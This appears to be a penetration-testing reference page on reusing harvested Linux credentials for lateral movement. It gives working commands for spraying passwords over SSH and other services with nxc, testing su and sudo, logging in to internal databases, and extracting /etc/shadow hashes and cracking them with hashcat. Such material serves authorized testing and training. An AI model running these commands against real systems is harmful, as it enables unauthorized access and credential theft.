# Credential Reuse for Lateral Movement on Linux

> Techniques for exploiting reused credentials across Linux systems to move laterally, covering SSH, sudo abuse, and credential harvesting from config files.

- **URL:** https://hackindex.io/platforms/linux/lateral-movement/credential-reuse-lateral-movement
- **Path:** Linux > Lateral Movement
- **Up:** [Lateral Movement](https://hackindex.io/platforms/linux/lateral-movement.md)
- **Published:** 2026-03-16
- **Updated:** 2026-08-11

Passwords and hashes collected during post-exploitation are rarely valid on only one host. Reuse across SSH accounts, local user accounts, internal services, and sudo configurations is common: especially in environments managed manually or with shared service account credentials.

This page covers validating harvested credentials against other accounts and hosts. Finding those credentials in the first place is covered in the post-exploitation credential hunting pages.

## Where Credentials Come From

Before spraying, know what you have. Common sources on Linux:

- Shell history: `~/.bash_history`, `~/.zsh_history`: commands with `-p`, passwords as arguments
- Config files: database connection strings, `.env` files, `wp-config.php`, application configs
- `/etc/shadow`: if readable after privilege escalation, crack or pass hashes
- Environment variables: `env` output, `/proc/*/environ`
- Memory: process secret hunting against running service processes

A full walkthrough of each source is in the post-exploitation section.

## Testing Linux Credential Reuse for Lateral Movement

The fastest check for a harvested password across known hosts:

```bash
ssh $USER@$TARGET_IP
```

To suppress host key prompts when testing multiple targets:

```bash
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null $USER@$TARGET_IP
```

For testing one credential against a list of targets, use `nxc`:

```bash
nxc ssh /tmp/targets.txt -u $USER -p $PASSWORD
# SSH         10.10.20.5   22   10.10.20.5   [*] SSH-2.0-OpenSSH_8.2p1
# SSH         10.10.20.5   22   10.10.20.5   [+] admin:Summer2023! (Pwn3d!)
# SSH         10.10.20.6   22   10.10.20.6   [-] admin:Summer2023! Authentication failed
```

`[+]` indicates success. `(Pwn3d!)` means the account can run commands: `nxc` confirms execution, not just authentication.

For a credential list against a list of targets:

```bash
nxc ssh /tmp/targets.txt -u /tmp/users.txt -p /tmp/passwords.txt --no-bruteforce
```

`--no-bruteforce` pairs each user with the corresponding password in order rather than doing a full matrix, which is appropriate when you have likely user:password pairs rather than a spray list.

## Local Account Switching

A harvested password may work for `su` on the current host even if SSH is restricted. Test before moving to remote hosts:

```bash
su - $USER
# e.g.
su - root
```

If PAM is configured to allow it, this works without SSH being open or the account having a login shell in some configurations.

## Sudo Password Reuse

A user's password often matches their sudo password. After landing on a new host:

```bash
sudo -l
sudo -v
```

If `sudo -v` accepts the password, the account has sudo access on this host even if the sudo rules differ from the previous one.

## Internal Service Reuse

Credentials found in application configs frequently authenticate to the local database, cache, or API: and sometimes to the same service on other hosts. Test common internal services:

```bash
mysql -u $USER -p$PASSWORD -h $TARGET_IP -e "show databases;" 2>/dev/null
psql -h $TARGET_IP -U $USER -c "\l" 2>/dev/null
redis-cli -h $TARGET_IP -a $PASSWORD ping 2>/dev/null
```

For a wider internal service sweep with `nxc`:

```bash
nxc smb /tmp/targets.txt -u $USER -p $PASSWORD
nxc rdp /tmp/targets.txt -u $USER -p $PASSWORD
nxc winrm /tmp/targets.txt -u $USER -p $PASSWORD
```

These are relevant in mixed Linux/Windows environments where the same credential set appears across both platforms.

## Hash Reuse from /etc/shadow

If you have read access to `/etc/shadow` after privilege escalation, extract the hashes:

```bash
cat /etc/shadow | grep -v '!\|*' | cut -d: -f1,2
```

Crack offline with hashcat:

```bash
hashcat -m 1800 --username /tmp/shadow_hashes.txt /usr/share/wordlists/rockyou.txt
```

`-m 1800` is SHA-512 crypt (`$6$`), the default on modern Linux. Use `-m 500` for MD5 crypt (`$1$`), `-m 7400` for SHA-256 crypt (`$5$`) and `-m 3200` for bcrypt (`$2a$`).

Once cracked, the plaintext password is the one to test for reuse via SSH and `su`.

## References

- [Pennyw0rth/NetExec](https://github.com/Pennyw0rth/NetExec) - GitHub nxc (NetExec): credential testing and lateral movement across SSH, SMB, WinRM, and other protocols.
- [Hashcat documentation](https://hashcat.net/wiki/doku.php?id=hashcat) - Reference for hash modes, attack types, and rule-based cracking.